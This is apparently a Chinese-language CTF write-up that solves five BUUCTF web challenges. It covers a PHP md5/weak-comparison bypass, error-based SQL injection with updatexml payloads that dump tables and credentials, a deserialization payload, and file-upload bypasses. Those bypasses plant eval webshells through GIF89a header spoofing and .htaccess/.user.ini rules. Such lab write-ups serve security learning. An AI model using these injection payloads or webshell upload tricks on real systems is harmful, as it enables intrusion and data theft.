4.15BUUCTF Ez_bypass,HardSQL,AreUSerialz,BabyUpload,CheckIn

[MRCTF2020]Ez_bypass

打开环境,看源码

php 复制代码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
     $id=$_GET['id'];
          $gg=$_GET['gg'];
               if (md5($id) === md5($gg) && $id !== $gg) {
         echo 'You got the first step';
         if(isset($_POST['passwd'])) {
             $passwd=$_POST['passwd'];
             if (!is_numeric($passwd))
             {
                  if($passwd==1234567)
                  {
                      echo 'Good Job!';
                      highlight_file('flag.php');
                      die('By Retr_0');
                  }
                  else
                  {
                      echo "can you think twice??";
                  }
             }
             else{
                 echo 'You can not get it !';
             }
 
         }
         else{
             die('only one way to get the flag');
         }
 }
     else {
         echo "You are not a real hacker!";
     }
 }
 else{
     die('Please input first');
 }
 }

第一个if为强比较,使用数组可以绕过

弱类型比较(==)的安全漏洞

  • !is_numeric(passwd) 检查 passwd 是否"不是数字"(如 "123" 会被拦截,但 "123abc" 可以通过)
  • passwd == 1234567 使用 弱类型比较(==),会尝试将 passwd 转换成数字后再比较,导致非严格匹配
    使用playload:password=1234567a

[极客大挑战 2019]HardSQL

思路

遇到过它的前几版(联合查询,堆叠注入,双写绕过什么的),这次又来了

用户名输入admin,密码输入1(将密码作为注入点)

回显正常,但是密码改为1'回显不正常了

说明存在sql注入,使用联合查询看一下1' order by 3回显

这里改为2或1都是这个页面,说明存在过滤

sql注入的方法:万能密码-->联合查询-->堆叠注入-->报错注入

万能密码不行,联合查询,堆叠注入也不可以

看大佬的非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

  • 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
  • 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
  • 注入原理:
    (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)局限性:查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串

做题

使用万能密码
报错注入

查询库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

查询表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

查询字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

查询前部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

查询后部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

拼接出来

flag{858aec26-847d-401e-a955-809ff510f683}

[网鼎杯 2020 青龙组]AreUSerialz

PHP反序列化题目wp

python 复制代码
<?php
class FileHandler {
    public $op = 2;  // 直接设置为字符串"2"
    public $filename = "flag.php";
    public $content;
}

$obj = new FileHandler();
$serialized = serialize($obj);
echo $serialized;
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag{d5b95529-7a68-4c36-bbfd-83a59d312883}

[GXYCTF2019]BabyUpload

  • 上传一个1.php
    内容<?php @eval($_POST['cmd']);?>
    回显这个

    这就不能用phtml后缀名了(包含PHP代码的HTML文件,会被浏览器当做PHP代码执行)
    改一下小写为大写PHp,还是不行
  • 那就直接将后缀名改为1.jpg(图片的其他后缀名不行)内容还是刚刚的一句话木马

    还是不行,猜测对文件内容有限制,试一下不用这个<?
  • 使用
php 复制代码
GIF89a
<?php @eval($_POST["cmd"]);?>

上传成功

分析:文件上传成功了,但是jpg文件无法被当成php解析。

思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。

  • 上传构造的.htaccess文件
php 复制代码
AddType application/x-httpd-php .jpg#将.jpeg文件解析为php文件

抓包要修改MIME,不然上传不成功

最后使用蚁剑连接就行了

访问一下,url为http://c1a8a068-dc5e-40fa-98f8-cbddbe15e007.node5.buuoj.cn:81/upload/56c33cb01c2a29de24625c749f850027/1.jpg出现

flag{831e3969-e031-4e26-b085-38b02efd4589}

[SUCTF 2019]CheckIn

分析

直接上传2.php(<?php @eval($_POST['cmd']);?>)显示非法上传

改为2.jpg还是上传不成功,回显<?说明存在文件内容的检查

将文件内容修改一下,改为GIF89a<script language="php">eval($_POST[cmd])</script>是可以上传成功的但是要想解析就需要.htaccess文件(AddType application/x-httpd-php .jpg),这次上传不了,改了MIME还是回显不是图片,那就再在文件开头加一个图片的文件头GIF89a,上传成功

其实回显的内容已经说了是文件头检查exif_imagetype这个是php中的一个内置函数 用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型

两个文件上传完成之后,就可以用蚁剑连接了

拓展

解析文件,这道题和上一道题的解析文件都是用的是.htaccess,这里还可以用user.ini

在文件中写入GIF89a auto_prepend_file=要解析的文件名上传即可

相关推荐
RLG_星辰3 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
独行soc7 小时前
2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
linux·运维·服务器·网络安全·面试·职场和发展·渗透测试
敦普水性工业漆8 小时前
汽车紧固件防腐3.0时代:敦普水性漆用无铬锌铝涂层定义「零氢脆」标准
笔记·汽车
2501_916013748 小时前
从一次被抄袭经历谈起:iOS App 安全保护实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
请再坚持一下9 小时前
网络安全护网行动之个人见解
安全·web安全·网络安全
TUTO_TUTO10 小时前
【AWS+Wordpress】将本地 WordPress 网站部署到AWS
笔记·学习·云计算·aws
大溪地C11 小时前
CSS详细学习笔记
css·笔记·学习
chennalC#c.h.JA Ptho11 小时前
Centos系统详解架构详解
linux·经验分享·笔记·系统架构·系统安全
饕餮争锋11 小时前
Spring普通配置类 vs 自动配置类-笔记
java·笔记·spring
Aimyon_3612 小时前
Java复习笔记-基础
java·开发语言·笔记